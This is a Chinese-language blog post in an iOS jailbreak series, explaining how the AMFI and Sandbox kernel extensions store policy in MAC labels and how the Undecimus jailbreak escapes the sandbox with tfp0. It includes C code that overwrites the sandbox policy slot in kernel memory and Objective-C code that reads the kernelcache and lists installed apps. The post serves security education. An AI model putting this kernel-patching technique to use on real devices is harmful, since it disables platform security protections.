系列文章
- iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 與 Heap Spraying
- iOS Jailbreak Principles - Sock Port 漏洞解析(二)通過 Mach OOL Message 洩露 Port Address
- iOS Jailbreak Principles - Sock Port 漏洞解析(三)IOSurface Heap Spraying
- iOS Jailbreak Principles - Sock Port 漏洞解析(四)The tfp0 !
前言
在 Sock Port 系列文章中我們從 0 到 1 的介紹了通過 Socket UAF 拿到 tfp0 的全過程。從這篇文章開始我們將通過分析 Undecimus 介紹從 tfp0 到 jailbreak 的全過程。
單單通過 tfp0 能做的事情只是 kread, kwrite 等基礎操作,要實現 rootfs read/write, kexec 等工作還需要非常複雜的步驟,本文將介紹通過 tfp0 逃出沙盒,實現 rootfs 讀寫的原理和過程。
The Sandbox
在 iOS 中有兩個重要的核心擴充套件,分別是 AppleMobileFileIntegrity.kext
和 Sandbox.kext
。
Apple Mobile File Integrity
根據 The iPhone Wiki 對 AMFI 的定義[1]:
AppleMobileFileIntegrity(.kext), which can go by its full name com.apple.driver.AppleMobileFileIntegrity, is an iOS kernel extension which serves as the corner stone of iOS's code entitlements model. It is one of the Sandbox's (com.apple.security.sandbox) dependencies, along with com.apple.kext.AppleMatch (which, like on OS X, is responsible for parsing the Sandbox language rules).
即 AMFI.kext
是實現 iOS Code Entitlements
的基礎元件,它和 AppleMatch.kext
(用於解析 Sandbox DSL) 都是 Sandbox.kext
的依賴。
可能有人對 Entitlements 並不熟悉,它代表著 App 擁有的許可權。在正向開發中,如果我們為 App 開啟 Capability 就會生成對應的 XML Units 插入到 App.entitlements
,某些 Capability 只有特定的證書才能生成合法簽名。通過這種手段可以限制 Userland App 的許可權,從而保證系統安全。
在執行時,核心擴充套件會註冊 Mac Policy 並 hook 特定的 Mach Calls[1]:
Affectionately known as AMFI, this kext can be found in the iOS 5.0 iPod 4,1 kernel around 0x805E499C (start) and 0x805E3EE8 (Initialization function). The latter function registers a MAC policy (using the kernel exported mac_policy_register), which is used to hook various system operations and enforce Apple's tight security policy.
根據 Wiki,AMFI 會 hook 需要 task_for_pid-allow
許可權的 Mach Call[1]:
This kext recognizes the task_for_pid-allow entitlement (among others) and is responsible for hooking this Mach call, which retrieves the Mach task port associated with a BSD process identifier. Given this port, one can usurp control of the task/PID, reading and writing its memory, debugging, etc. It is therefore enabled only if the binary is digitally signed with a proper entitlement file, specifying task_for_pid-allow.
即 AMFI.kext
會識別 entitlements 中的 task_for_pid-allow
,並 Hook 相關 Mach Call,該 Mach Call 會通過 BSD 程式識別符號查詢特定程式的任務埠返回給呼叫者,使得呼叫者可以篡改程式的 task 或 PID, 甚至進行目標程式記憶體的讀寫和除錯;而 AMFI.kext
會在呼叫前檢查呼叫者的二進位制是否擁有包含 task_for_pid-allow
的合法簽名。
Sandbox Kext
Sandbox 的實現與 AMFI.kext
類似,也是通過 Hook 一系列的 Mach Call 並檢查特定的 Policy 來保證訪問的合法性。根據 Dionysus Blazakis 的 Paper: The Apple Sandbox 中的描述[2]:
Once the sandbox is initialized, function calls hooked by the TrustedBSD layer will pass through Sandbox.kext for policy enforcement. Depending on the system call, the extension will consult the list of rules for the current process. Some rules (such as the example given above denying access to files under the /opt/sekret path) will require pattern matching support. Sandbox.kext imports functions from AppleMatch.kext to perform regular expression matching on the system call argument and the policy rule that is being checked. For example, does the file being read match the denied path /opt/sekret/.*? The other small part of the system is the Mach messages used to carry tracing information (such as which operations are being checked) back to userspace for logging.
上述引用主要包含了 3 個關鍵點:
- 當 Sandbox 被初始化後,被 TrustedBSD layer 所 Hook 的 Mach Call 會通過
Sandbox.kext
執行許可權檢查; Sandbox.kext
會通過AppleMatch.kext
解析規則 DSL,並生成 checklist;- 通過 checklist 進行檢查,例如被讀取的 file path 是否在 denied path 列表中等。
Policy 的核心表示
在程式的 proc 結構中有一個 p_ucred 成員用於儲存程式的 Identifier (Process owner's identity. (PUCL)),它相當於程式的 Passport:
struct proc {
LIST_ENTRY(proc) p_list; /* List of all processes. */
void * task; /* corresponding task (static)*/
struct proc *p_pptr; /* Pointer to parent process.(LL) */
pid_t p_ppid;
// ...
/* substructures: */
kauth_cred_t p_ucred; /* Process owner's identity. (PUCL) */
複製程式碼
PUCL 是一個 ucred 物件:
struct ucred {
TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
u_long cr_ref; /* reference count */
// ..
struct label *cr_label; /* MAC label */
複製程式碼
其中 cr_label
成員指向了儲存 MAC Policies 的資料結構 label
:
struct label {
int l_flags;
union {
void *l_ptr;
long l_long;
} l_perpolicy[MAC_MAX_SLOTS];
};
複製程式碼
l_perpolicy
陣列記錄了 MAC Policy 列表,AMFI 和 Sandbox 的 Policy 都會插入到相應程式的 l_perpolicy
中。
根據 Quarkslab Blogs 中的文章 Modern Jailbreaks' Post-Exploitation,AMFI 和 Sandbox 分別插入到了 0 和 1 位置[3]:
Each l_perpolicy "slot" is used by a particular MACF module, the first one being AMFI and the second one the sandbox. LiberiOS calls ShaiHulud2ProcessAtAddr to put 0 in its second label l_perpolicy[1]. Being the label used by the sandbox (processed in the function sb_evaluate), this move will neutralize it while keeping the label used by AMFI (Apple Mobile File Integrity) l_perpolicy[0] untouched (it's more precise and prevent useful entitlement loss).
即每個 l_perpolicy
插槽都被用於特定的 MACF 模組,第一個插槽被用於 AMFI,第二個被用於 Sandbox。LiberiOS 通過呼叫 ShaiHulud2ProcessAtAddr
在不修改第一個插槽的情況下將第二個插槽的指標置 0 來實現更加精準和穩定的沙盒逃逸。
Escape Now
有了 tfp0 和上面的理論基礎,實現沙盒逃逸的路徑變得清晰了起來,我們只需要將當前程式的 l_perpolicy[1]
修改為 0,即可逃出沙盒。
首先讀取到當前程式的 label,路徑為 proc->p_ucred->cr_label
,隨後將索引為 1 的 Policy Slot 置 0:
#define KSTRUCT_OFFSET_PROC_UCRED 0xf8
#define KSTRUCT_OFFSET_UCRED_CR_LABEL 0x78
kptr_t swap_sandbox_for_proc(kptr_t proc, kptr_t sandbox) {
kptr_t ret = KPTR_NULL;
_assert(KERN_POINTER_VALID(proc));
kptr_t const ucred = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
_assert(KERN_POINTER_VALID(ucred));
kptr_t const cr_label = ReadKernel64(ucred + koffset(KSTRUCT_OFFSET_UCRED_CR_LABEL));
_assert(KERN_POINTER_VALID(cr_label));
kptr_t const sandbox_addr = cr_label + 0x8 + 0x8;
kptr_t const current_sandbox = ReadKernel64(sandbox_addr);
_assert(WriteKernel64(sandbox_addr, sandbox));
ret = current_sandbox;
out:;
return ret;
}
複製程式碼
這裡說明一下 sandbox_addr
的計算:
kptr_t const sandbox_addr = cr_label + 0x8 + 0x8;
複製程式碼
我們再回顧下 label 結構體:
struct label {
int l_flags;
union {
void *l_ptr;
long l_long;
} l_perpolicy[MAC_MAX_SLOTS];
};
複製程式碼
雖然 l_flags
本身只有 4 位元組,但 l_perpolicy
佔據了 8n 位元組,為了按照最大成員對齊,l_flags
也會佔據 8B,因此 cr_label + 8
指向了 l_perpolicy
,再偏移 8B 則指向 Sandbox 的 Policy Slot。
通過上述操作我們便能躲過 Sandbox.kext
對程式的沙盒相關檢查,實現沙盒逃逸,接下來無論是通過 C 還是 OC 的 File API 都可以對 rootfs 進行讀寫。在 Undecimus Jailbreak 中以這種方式讀取了 kernelcache 並確定 Kernel Slide 和關鍵偏移量。
我們可以通過簡單實驗驗證沙盒逃逸成功,下面的程式碼讀取了 kernelcache 和 Applications 目錄:
NSArray *extractDir(NSString *dirpath) {
NSError *error = nil;
NSArray *contents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:dirpath error:&error];
if (error) {
NSLog(@"failed to get application list");
return nil;
}
return contents;
}
void sandbox_escape_test() {
NSError *error = nil;
BOOL success = [NSData dataWithContentsOfFile:@"/System/Library/Caches/com.apple.kernelcaches/kernelcache" options:NSDataReadingMappedAlways error:&error];
if (!success) {
NSLog(@"error occurred !!! %@", error);
}
// list applications dir
error = nil;
NSFileManager *mgr = [NSFileManager defaultManager];
NSString *applicationRoot = @"/var/containers/Bundle/Application/";
NSArray *uuids = [mgr contentsOfDirectoryAtPath:applicationRoot error:&error];
if (error) {
NSLog(@"failed to get application list");
return;
}
for (NSString *uuid in uuids) {
NSString *appPath = [applicationRoot stringByAppendingPathComponent:uuid];
NSArray *contents = extractDir(appPath);
for (NSString *content in contents) {
if ([content hasSuffix:@".app"]) {
NSLog(@"find %@ at %@ !!!", content, appPath);
}
}
}
}
複製程式碼
總結
本文簡單介紹了通過 tfp0 實現 Sandbox Escape 的原理和過程,使得讀者對 tfp0 能做的事情有一個簡單認識。在接下來的文章中我們會介紹基於 tfp0 的 kexec 等利用。